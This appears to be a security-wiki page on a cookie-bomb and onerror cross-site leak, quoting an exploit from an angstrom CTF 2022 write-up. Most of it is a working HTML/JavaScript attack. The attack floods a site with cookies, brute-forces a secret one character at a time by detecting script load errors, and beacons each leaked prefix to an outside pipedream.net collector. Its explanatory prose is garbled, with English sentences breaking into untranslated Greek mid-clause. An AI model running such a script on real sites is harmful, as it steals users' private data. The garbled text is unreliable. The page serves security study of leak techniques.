# Cookie Bomb + Onerror XS Leak

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The following **script** taken from [**here**](https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/) is exploiting a functionality that allows the user to **εισάγει οποιοδήποτε ποσό cookies**, and then loading a file as a script knowing that the true response will be larger than the false one and then. If successful, the response is a redirect with a resulting URL longer, **πολύ μεγάλο για να το διαχειριστεί ο διακομιστής, οπότε επιστρέφει έναν κωδικό κατάστασης http σφάλματος**. If the search fails, nothing will happen because URL is short.
```html
<>'";<form action='https://sustenance.web.actf.co/s' method=POST><input id=f /><input name=search value=a /></form>
<script>
const $ = document.querySelector.bind(document);
const sleep = (ms) => new Promise(r => setTimeout(r, ms));
let i = 0;
const stuff = async (len=3500) => {
let name = Math.random();
$("form").target = name;
let w = window.open('', name);
$("#f").value = "_".repeat(len);
$("#f").name = i++;
$("form").submit();
await sleep(100);
};
const isError = async (url) => {
return new Promise(r => {
let script = document.createElement('script');
script.src = url;
script.onload = () => r(false);
script.onerror = () => r(true);
document.head.appendChild(script);
});
}
const search = (query) => {
return isError("https://sustenance.web.actf.co/q?q=" + encodeURIComponent(query));
};
const alphabet = "etoanihsrdluc_01234567890gwyfmpbkvjxqz{}ETOANIHSRDLUCGWYFMPBKVJXQZ";
const url = "//en4u1nbmyeahu.x.pipedream.net/";
let known = "actf{";
window.onload = async () => {
navigator.sendBeacon(url + "?load");
await Promise.all([stuff(), stuff(), stuff(), stuff()]);
await stuff(1600);
navigator.sendBeacon(url + "?go");
while (true) {
for (let c of alphabet) {
let query = known + c;
if (await search(query)) {
navigator.sendBeacon(url, query);
known += c;
break;
}
}
}
};
</script>
```
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